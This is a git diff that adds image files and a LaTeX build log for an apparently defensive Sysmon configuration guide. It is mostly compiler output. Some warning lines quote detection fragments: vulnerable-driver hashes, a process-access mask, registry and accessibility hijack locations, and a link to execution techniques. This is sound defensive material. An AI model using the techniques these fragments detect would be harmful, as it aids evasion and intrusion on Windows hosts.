b/Build/media/image31.png differ diff --git a/Build/media/image32.png b/Build/media/image32.png new file mode 100644 index 0000000..d752b9c Binary files /dev/null and b/Build/media/image32.png differ diff --git a/Build/media/image33.png b/Build/media/image33.png new file mode 100644 index 0000000..76598d9 Binary files /dev/null and b/Build/media/image33.png differ diff --git a/Build/media/image34.png b/Build/media/image34.png new file mode 100644 index 0000000..d7e6af7 Binary files /dev/null and b/Build/media/image34.png differ diff --git a/Build/media/image35.png b/Build/media/image35.png new file mode 100644 index 0000000..e94a6d0 Binary files /dev/null and b/Build/media/image35.png differ diff --git a/Build/media/image36.png b/Build/media/image36.png new file mode 100644 index 0000000..9d84d06 Binary files /dev/null and b/Build/media/image36.png differ diff --git a/Build/media/image37.png b/Build/media/image37.png new file mode 100644 index 0000000..24acf4a Binary files /dev/null and b/Build/media/image37.png differ diff --git a/Build/media/image38.png b/Build/media/image38.png new file mode 100644 index 0000000..6636546 Binary files /dev/null and b/Build/media/image38.png differ diff --git a/Build/media/image39.png b/Build/media/image39.png new file mode 100644 index 0000000..b79fb9d Binary files /dev/null and b/Build/media/image39.png differ diff --git a/Build/media/image4.png b/Build/media/image4.png new file mode 100644 index 0000000..27bcd62 Binary files /dev/null and b/Build/media/image4.png differ diff --git a/Build/media/image40.png b/Build/media/image40.png new file mode 100644 index 0000000..41b4cad Binary files /dev/null and b/Build/media/image40.png differ diff --git a/Build/media/image41.png b/Build/media/image41.png new file mode 100644 index 0000000..a65b7dc Binary files /dev/null and b/Build/media/image41.png differ diff --git a/Build/media/image42.png b/Build/media/image42.png new file mode 100644 index 0000000..b7e8deb Binary files /dev/null and b/Build/media/image42.png differ diff --git a/Build/media/image43.png b/Build/media/image43.png new file mode 100644 index 0000000..775723a Binary files /dev/null and b/Build/media/image43.png differ diff --git a/Build/media/image44.png b/Build/media/image44.png new file mode 100644 index 0000000..e000d73 Binary files /dev/null and b/Build/media/image44.png differ diff --git a/Build/media/image45.png b/Build/media/image45.png new file mode 100644 index 0000000..1f63281 Binary files /dev/null and b/Build/media/image45.png differ diff --git a/Build/media/image46.png b/Build/media/image46.png new file mode 100644 index 0000000..fd80d63 Binary files /dev/null and b/Build/media/image46.png differ diff --git a/Build/media/image47.png b/Build/media/image47.png new file mode 100644 index 0000000..ce4d47c Binary files /dev/null and b/Build/media/image47.png differ diff --git a/Build/media/image48.png b/Build/media/image48.png new file mode 100644 index 0000000..b228ff1 Binary files /dev/null and b/Build/media/image48.png differ diff --git a/Build/media/image49.png b/Build/media/image49.png new file mode 100644 index 0000000..b6013a4 Binary files /dev/null and b/Build/media/image49.png differ diff --git a/Build/media/image5.png b/Build/media/image5.png new file mode 100644 index 0000000..8ffc2ca Binary files /dev/null and b/Build/media/image5.png differ diff --git a/Build/media/image50.png b/Build/media/image50.png new file mode 100644 index 0000000..7ddab76 Binary files /dev/null and b/Build/media/image50.png differ diff --git a/Build/media/image51.png b/Build/media/image51.png new file mode 100644 index 0000000..4d425a8 Binary files /dev/null and b/Build/media/image51.png differ diff --git a/Build/media/image52.png b/Build/media/image52.png new file mode 100644 index 0000000..121fcef Binary files /dev/null and b/Build/media/image52.png differ diff --git a/Build/media/image53.png b/Build/media/image53.png new file mode 100644 index 0000000..6d903c2 Binary files /dev/null and b/Build/media/image53.png differ diff --git a/Build/media/image54.png b/Build/media/image54.png new file mode 100644 index 0000000..7c7ffc2 Binary files /dev/null and b/Build/media/image54.png differ diff --git a/Build/media/image55.png b/Build/media/image55.png new file mode 100644 index 0000000..f593330 Binary files /dev/null and b/Build/media/image55.png differ diff --git a/Build/media/image56.png b/Build/media/image56.png new file mode 100644 index 0000000..f1c4f85 Binary files /dev/null and b/Build/media/image56.png differ diff --git a/Build/media/image57.png b/Build/media/image57.png new file mode 100644 index 0000000..2a0d880 Binary files /dev/null and b/Build/media/image57.png differ diff --git a/Build/media/image58.png b/Build/media/image58.png new file mode 100644 index 0000000..453cb43 Binary files /dev/null and b/Build/media/image58.png differ diff --git a/Build/media/image59.png b/Build/media/image59.png new file mode 100644 index 0000000..871f631 Binary files /dev/null and b/Build/media/image59.png differ diff --git a/Build/media/image6.png b/Build/media/image6.png new file mode 100644 index 0000000..afa1f81 Binary files /dev/null and b/Build/media/image6.png differ diff --git a/Build/media/image60.png b/Build/media/image60.png new file mode 100644 index 0000000..d73597f Binary files /dev/null and b/Build/media/image60.png differ diff --git a/Build/media/image61.png b/Build/media/image61.png new file mode 100644 index 0000000..3bcd218 Binary files /dev/null and b/Build/media/image61.png differ diff --git a/Build/media/image62.png b/Build/media/image62.png new file mode 100644 index 0000000..64060f9 Binary files /dev/null and b/Build/media/image62.png differ diff --git a/Build/media/image63.png b/Build/media/image63.png new file mode 100644 index 0000000..52f6e7b Binary files /dev/null and b/Build/media/image63.png differ diff --git a/Build/media/image64.png b/Build/media/image64.png new file mode 100644 index 0000000..6f519f5 Binary files /dev/null and b/Build/media/image64.png differ diff --git a/Build/media/image65.png b/Build/media/image65.png new file mode 100644 index 0000000..a4e8dbd Binary files /dev/null and b/Build/media/image65.png differ diff --git a/Build/media/image66.png b/Build/media/image66.png new file mode 100644 index 0000000..c6f0238 Binary files /dev/null and b/Build/media/image66.png differ diff --git a/Build/media/image67.png b/Build/media/image67.png new file mode 100644 index 0000000..89738f4 Binary files /dev/null and b/Build/media/image67.png differ diff --git a/Build/media/image68.png b/Build/media/image68.png new file mode 100644 index 0000000..22ee068 Binary files /dev/null and b/Build/media/image68.png differ diff --git a/Build/media/image7.png b/Build/media/image7.png new file mode 100644 index 0000000..769b923 Binary files /dev/null and b/Build/media/image7.png differ diff --git a/Build/media/image8.png b/Build/media/image8.png new file mode 100644 index 0000000..531f53f Binary files /dev/null and b/Build/media/image8.png differ diff --git a/Build/media/image9.png b/Build/media/image9.png new file mode 100644 index 0000000..4598332 Binary files /dev/null and b/Build/media/image9.png differ diff --git a/Build/media/tslogo.png b/Build/media/tslogo.png new file mode 100644 index 0000000..bb2bd30 Binary files /dev/null and b/Build/media/tslogo.png differ diff --git a/Build/media/tslogo_old.png b/Build/media/tslogo_old.png new file mode 100644 index 0000000..d935053 Binary files /dev/null and b/Build/media/tslogo_old.png differ diff --git a/Build/pdfgen.log b/Build/pdfgen.log new file mode 100644 index 0000000..de431f1 --- /dev/null +++ b/Build/pdfgen.log @@ -0,0 +1,753 @@ +This is XeTeX, Version 3.141592653-2.6-0.999997 (TeX Live 2025) (preloaded format=xelatex) + restricted \write18 enabled. +entering extended mode +(./SysmonGuide.tex +LaTeX2e <2024-11-01> patch level 2 +L3 programming layer <2025-01-18> +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/article.cls +Document Class: article 2024/06/29 v1.4n Standard LaTeX document class +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/size10.clo)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/xcolor/xcolor.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics-cfg/color.cfg) +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics-def/xetex.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/mathcolor.ltx)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/dvipsnam.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/xcolor/svgnam.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/xcolor/x11nam.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/geometry/geometry.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/keyval.sty) +(/usr/local/texlive/2025/texmf-dist/tex/generic/iftex/ifvtex.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/iftex/iftex.sty))) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsmath/amsmath.sty +For additional information on amsmath, use the `?' option. +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsmath/amstext.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsmath/amsgen.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsmath/amsbsy.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsmath/amsopn.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsfonts/amssymb.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsfonts/amsfonts.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/unicode-math/unicode-math.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/l3kernel/expl3.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/l3backend/l3backend-xetex.def)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/unicode-math/unicode-math-xetex.s +ty (/usr/local/texlive/2025/texmf-dist/tex/latex/l3packages/xparse/xparse.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/l3packages/l3keys2e/l3keys2e.sty) + (/usr/local/texlive/2025/texmf-dist/tex/latex/fontspec/fontspec.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/fontspec/fontspec-xetex.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/fontenc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/fontspec/fontspec.cfg))) +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/fix-cm.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/ts1enc.def)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/unicode-math/unicode-math-table.t +ex))) (/usr/local/texlive/2025/texmf-dist/tex/latex/lm/lmodern.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/upquote/upquote.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/textcomp.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/microtype/microtype.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/etoolbox/etoolbox.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/microtype/microtype-xetex.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/microtype/microtype.cfg)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/parskip/parskip.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/kvoptions/kvoptions.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/ltxcmds/ltxcmds.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/kvsetkeys/kvsetkeys.sty))) +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/listings.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstpatch.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstmisc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/listings.cfg)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/tools/longtable.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/booktabs/booktabs.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/tools/array.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/tools/calc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/footnotehyper/footnotehyper.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/graphicx.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/graphics.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/trig.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics-cfg/graphics.cfg))) +(/usr/local/texlive/2025/texmf-dist/tex/latex/sectsty/sectsty.sty + +LaTeX Warning: Command \underbar has changed. + Check if current package is valid. + + +LaTeX Warning: Command \underline has changed. + Check if current package is valid. + +) (/usr/local/texlive/2025/texmf-dist/tex/latex/titlesec/titlesec.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/fancyvrb/fancyvrb.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/newverbs/newverbs.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/shortvrb.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/enumitem/enumitem.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hyperref/hyperref.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/kvdefinekeys/kvdefinekeys.sty) +(/usr/local/texlive/2025/texmf-dist/tex/generic/pdfescape/pdfescape.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/pdftexcmds/pdftexcmds.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/infwarerr/infwarerr.sty))) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hycolor/hycolor.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hyperref/nameref.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/refcount/refcount.sty) +(/usr/local/texlive/2025/texmf-dist/tex/generic/gettitlestring/gettitlestring.s +ty)) (/usr/local/texlive/2025/texmf-dist/tex/generic/stringenc/stringenc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hyperref/pd1enc.def) +(/usr/local/texlive/2025/texmf-dist/tex/generic/intcalc/intcalc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hyperref/puenc.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/url/url.sty) +(/usr/local/texlive/2025/texmf-dist/tex/generic/bitset/bitset.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/bigintcalc/bigintcalc.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/atbegshi-ltx.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hyperref/hxetex.def +(/usr/local/texlive/2025/texmf-dist/tex/latex/rerunfilecheck/rerunfilecheck.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/atveryend-ltx.sty) +(/usr/local/texlive/2025/texmf-dist/tex/generic/uniquecounter/uniquecounter.sty +))) (/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstlang1.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstmisc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/tocloft/tocloft.sty + +Package tocloft Warning: \@starttoc has already been redefined; tocloft bailing + out. on input line 1156. + +) (/usr/local/texlive/2025/texmf-dist/tex/latex/bookmark/bookmark.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/bookmark/bkm-dvipdfm.def)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/xurl/xurl.sty) +No file SysmonGuide.aux. +*geometry* driver: auto-detecting +*geometry* detected driver: xetex + +Package hyperref Warning: Rerun to get /PageLabels entry. + +(/usr/local/texlive/2025/texmf-dist/tex/latex/lm/omllmm.fd) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsfonts/umsa.fd) +(/usr/local/texlive/2025/texmf-dist/tex/latex/microtype/mt-msa.cfg) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsfonts/umsb.fd) +(/usr/local/texlive/2025/texmf-dist/tex/latex/microtype/mt-msb.cfg) +No file SysmonGuide.toc. + +[1] + +Package longtable Warning: Column widths have changed +(longtable) in table 1 on input line 443. + + +[2] + +Package longtable Warning: Column widths have changed +(longtable) in table 2 on input line 493. + + +[3] +[4] +! Undefined control sequence. +l.681 ...pture (Sysmon only logs Root\Subscription + ) + +[5] +[6] +[7] +[8] +[9] +[10] +Overfull \hbox (155.51212pt too wide) in paragraph at lines 1104--1107 +[]\TU/DejaVuSerif(0)/m/n/10 Sysmon will create 2 registry keys to define the se +rvices for its operation under \TU/DejaVuSerif(0)/b/it/10 HKLM\SYSTEM\CurrentCo +ntrolSet\Services + +[11] +[12] +Overfull \hbox (48.7775pt too wide) in paragraph at lines 1173--1177 +[]\TU/DejaVuSerif(0)/m/n/10 The hashing algorithm or combination of them can be + specified with the \TU/DejaVuSerif(0)/b/n/10 -h + +[13] +[14] +[15] +[16] (/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstlang1.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstlang1.sty) +[17] +[18] +[19] +[20] +[21] +[22] +[23] +[24] +[25] +[26] +[27] + +Package longtable Warning: Column widths have changed +(longtable) in table 4 on input line 2302. + + +[28] +[29] +[30] +[31] +Overfull \hbox (60.82462pt too wide) in paragraph at lines 2571--2574 +[]\TU/DejaVuSerif(0)/m/n/10 Navigate and select the key \TU/DejaVuSerif(0)/b/n/ +10 HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters + +[32] +[33] +[34] +[35] +[36] +[37] +[38] +[39] +[40] +[41] +[42] +Underfull \hbox (badness 1158) in paragraph at lines 3155--3158 +[]\TU/DejaVuSerif(0)/b/n/10 Unusual Termination Methods\TU/DejaVuSerif(0)/m/n/1 +0 : Processes terminated by debugging tools, scripts, or + +[43] + +Package longtable Warning: Column widths have changed +(longtable) in table 5 on input line 3329. + +[44] +[45] +[46] +[47] +Underfull \hbox (badness 10000) in paragraph at lines 3617--3620 +[]\TU/DejaVuSerif(0)/b/n/10 High-Privilege Access Masks\TU/DejaVuSerif(0)/m/n/1 +0 : 0x1FFFFF (PROCESS_ALL_ACCESS) from non- + +[48] +[49] +[50] +[51] +[52] +[53] +[54] +[55] +[56] +[57] +[58] +Underfull \hbox (badness 5374) in paragraph at lines 4561--4569 +\TU/DejaVuSerif(0)/m/n/10 * $[][][][][][][][][][][][][][][][][][][] [] [] [] [] +[][][][][][][][][][][][][][][][][][][][][][] [] [][]$\TU/DejaVuSerif(0)/b/n/10 +FILE_NAME + +Underfull \hbox (badness 2495) in paragraph at lines 4561--4569 +\TU/DejaVuSerif(0)/m/n/10 - File name * $[][][][] [] [] [] [][][][][][][][][][] +[][][][][][][][][][][][][][][][][][][][][][][][][] [] [][]$\TU/DejaVuSerif(0)/b +/n/10 INDEX_ROOT\TU/DejaVuSerif(0)/m/n/10 , + +[59] +[60] +Overfull \hbox (30.31924pt too wide) in paragraph at lines 4627--4630 +[]\TU/DejaVuSerif(0)/m/n/10 More execution techniques: https://gist.github.com/ +api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f + +[61] +[62] +[63] +[64] +[65] +[66] +[67] +[68] +Overfull \hbox (107.16008pt too wide) in paragraph at lines 5266--5274 +[]\TU/DejaVuSerif(0)/b/n/10 Vulnerable Driver SHA256 Hashes: \TU/DejaVuSerif(0) +/m/n/10 * 35c67ac6cb0ade768ccf11999b9aaf016ab9ae92fb51865d73ec1f7907709dca + +Overfull \hbox (324.43399pt too wide) in paragraph at lines 5266--5274 +\TU/DejaVuSerif(0)/m/n/10 * d2ed01cce3e7502b1dd8be35abf95e6e8613c5733ee66e749b9 +72542495743b8 * a86e063ac5214ebb7e691506a9f877d12b7958e071ecbae0f0723ae24e273a7 +3 + +Overfull \hbox (320.3884pt too wide) in paragraph at lines 5266--5274 +\TU/DejaVuSerif(0)/m/n/10 * c0640d0d9260689b1c6c63a60799e0c8e272067dcf86847c882 +980913694543a * 2a5e73343a38e7b70a04f1b46e9a2dde7ca85f38a4fb2e51e92f252dad7034d +4 + +Overfull \hbox (313.74551pt too wide) in paragraph at lines 5266--5274 +\TU/DejaVuSerif(0)/m/n/10 * 98660006f0e923030c5c5c8187ad2fe1500f59d32fa4d3286da +50709271d0d7f * 7e1d7cfe0bdf5f17def755ae668c780dedb027164788b4bb246613e71668884 +0 + +[69] +[70] +[71] +[72] +[73] +[74] +[75] +[76] +[77] +[78] +[79] +[80] +[81] +[82] +[83] +Underfull \hbox (badness 2277) in paragraph at lines 6075--6083 +\TU/DejaVuSerif(0)/m/n/10 are catalogued at \TU/DejaVuSerif(0)/b/n/10 https://w +ww.loldrivers.io/\TU/DejaVuSerif(0)/m/n/10 , which maintains a comprehensive li +st of + +Underfull \hbox (badness 2799) in paragraph at lines 6075--6083 +\TU/DejaVuSerif(0)/m/n/10 configuration for detecting these vulnerable drivers: + \TU/DejaVuSerif(0)/b/n/10 https://github.com/magicsword- + +Underfull \hbox (badness 2547) in paragraph at lines 6152--6159 +[]\TU/DejaVuSerif(0)/b/n/10 To integrate LOLDrivers detection: \TU/DejaVuSerif( +0)/m/n/10 1. Download the Sysmon configuration from: + +[84] +[85] +[86] +[87] +[88] +[89] +Underfull \hbox (badness 2027) in paragraph at lines 6548--6554 +[]\TU/DejaVuSerif(0)/b/n/10 Accessibility Feature Hijacking (Sticky Keys, etc.) +: \TU/DejaVuSerif(0)/m/n/10 * [][][][][][][][][][][][][][][][][][][][][][][][][ +] + +Underfull \hbox (badness 4479) in paragraph at lines 6548--6554 +[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][ +][][][][][][][][][][][][][][][][][][] \TU/DejaVuSerif(0)/m/n/10 - Utility Manag +er debugger * + +[90] +[91] +! Undefined control sequence. +l.6653 shell\open + \command or shell\open\ddeexec for common file types * Can +! Undefined control sequence. +l.6653 shell\open\command + or shell\open\ddeexec for common file types * Can +! Undefined control sequence. +l.6653 shell\open\command or shell\open + \ddeexec for common file types * Can +! Undefined control sequence. +l.6653 shell\open\command or shell\open\ddeexec + for common file types * Can + +[92] +[93] +Underfull \hbox (badness 1337) in paragraph at lines 6884--6894 +[]\TU/DejaVuSerif(0)/b/n/10 Scripting and Execution Engines: \TU/DejaVuSerif(0) +/m/n/10 * \TU/DejaVuSerif(0)/b/n/10 System.Management.Automation.dll \TU/DejaVu +Serif(0)/m/n/10 and \TU/DejaVuSerif(0)/b/n/10 Sys- + +Underfull \hbox (badness 1509) in paragraph at lines 6884--6894 +\TU/DejaVuSerif(0)/b/n/10 tem.Management.Automation.ni.dll \TU/DejaVuSerif(0)/m +/n/10 - PowerShell engine (detect PowerShell loaded by + +[94] +[95] +Overfull \hbox (37.09471pt too wide) in paragraph at lines 6996--7001 +[]\TU/DejaVuSerif(0)/b/n/10 1. PowerShell Engine Loaded by Non-PowerShell Proce +sses \TU/DejaVuSerif(0)/m/n/10 * System.Management.Automation.dll + +[96] +[97] +[98] +[99] +[100] +[101] +[102] +[103] +[104] +[105] +[106] +[107] +Overfull \hbox (23.28908pt too wide) in paragraph at lines 7853--7855 +[]\TU/DejaVuSerif(0)/b/n/10 Community Resources\TU/DejaVuSerif(0)/m/n/10 : Exce +llent examples can be found at https://github.com/olafhartong/sysmon- + +[108] +[109] +[110] +[111] +[112] +[113] +Overfull \hbox (7.25122pt too wide) in paragraph at lines 8216--8222 +[]\TU/DejaVuSerif(0)/b/n/10 Recommended Complementary Logging\TU/DejaVuSerif(0) +/m/n/10 : Enable Windows native \TU/DejaVuSerif(0)/b/n/10 WMI-Activity/Operatio +nal + +[114] +[115] +[116] +[117] +[118] +[119] + +Package longtable Warning: Table widths have changed. Rerun LaTeX. + + +[120] (./SysmonGuide.aux) + +LaTeX Warning: Label(s) may have changed. Rerun to get cross-references right. + + ) +(see the transcript file for additional information) +Output written on SysmonGuide.pdf (120 pages). +Transcript written on SysmonGuide.log. +This is XeTeX, Version 3.141592653-2.6-0.999997 (TeX Live 2025) (preloaded format=xelatex) + restricted \write18 enabled. +entering extended mode +(./SysmonGuide.tex +LaTeX2e <2024-11-01> patch level 2 +L3 programming layer <2025-01-18> +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/article.cls +Document Class: article 2024/06/29 v1.4n Standard LaTeX document class +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/size10.clo)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/xcolor/xcolor.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics-cfg/color.cfg) +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics-def/xetex.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/mathcolor.ltx)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/dvipsnam.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/xcolor/svgnam.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/xcolor/x11nam.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/geometry/geometry.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/keyval.sty) +(/usr/local/texlive/2025/texmf-dist/tex/generic/iftex/ifvtex.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/iftex/iftex.sty))) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsmath/amsmath.sty +For additional information on amsmath, use the `?' option. +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsmath/amstext.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsmath/amsgen.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsmath/amsbsy.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsmath/amsopn.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsfonts/amssymb.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsfonts/amsfonts.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/unicode-math/unicode-math.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/l3kernel/expl3.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/l3backend/l3backend-xetex.def)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/unicode-math/unicode-math-xetex.s +ty (/usr/local/texlive/2025/texmf-dist/tex/latex/l3packages/xparse/xparse.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/l3packages/l3keys2e/l3keys2e.sty) + (/usr/local/texlive/2025/texmf-dist/tex/latex/fontspec/fontspec.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/fontspec/fontspec-xetex.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/fontenc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/fontspec/fontspec.cfg))) +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/fix-cm.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/ts1enc.def)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/unicode-math/unicode-math-table.t +ex))) (/usr/local/texlive/2025/texmf-dist/tex/latex/lm/lmodern.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/upquote/upquote.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/textcomp.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/microtype/microtype.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/etoolbox/etoolbox.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/microtype/microtype-xetex.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/microtype/microtype.cfg)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/parskip/parskip.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/kvoptions/kvoptions.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/ltxcmds/ltxcmds.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/kvsetkeys/kvsetkeys.sty))) +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/listings.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstpatch.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstmisc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/listings.cfg)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/tools/longtable.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/booktabs/booktabs.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/tools/array.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/tools/calc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/footnotehyper/footnotehyper.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/graphicx.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/graphics.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics/trig.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/graphics-cfg/graphics.cfg))) +(/usr/local/texlive/2025/texmf-dist/tex/latex/sectsty/sectsty.sty + +LaTeX Warning: Command \underbar has changed. + Check if current package is valid. + + +LaTeX Warning: Command \underline has changed. + Check if current package is valid. + +) (/usr/local/texlive/2025/texmf-dist/tex/latex/titlesec/titlesec.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/fancyvrb/fancyvrb.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/newverbs/newverbs.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/shortvrb.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/enumitem/enumitem.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hyperref/hyperref.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/kvdefinekeys/kvdefinekeys.sty) +(/usr/local/texlive/2025/texmf-dist/tex/generic/pdfescape/pdfescape.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/pdftexcmds/pdftexcmds.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/infwarerr/infwarerr.sty))) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hycolor/hycolor.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hyperref/nameref.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/refcount/refcount.sty) +(/usr/local/texlive/2025/texmf-dist/tex/generic/gettitlestring/gettitlestring.s +ty)) (/usr/local/texlive/2025/texmf-dist/tex/generic/stringenc/stringenc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hyperref/pd1enc.def) +(/usr/local/texlive/2025/texmf-dist/tex/generic/intcalc/intcalc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hyperref/puenc.def) +(/usr/local/texlive/2025/texmf-dist/tex/latex/url/url.sty) +(/usr/local/texlive/2025/texmf-dist/tex/generic/bitset/bitset.sty +(/usr/local/texlive/2025/texmf-dist/tex/generic/bigintcalc/bigintcalc.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/atbegshi-ltx.sty)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/hyperref/hxetex.def 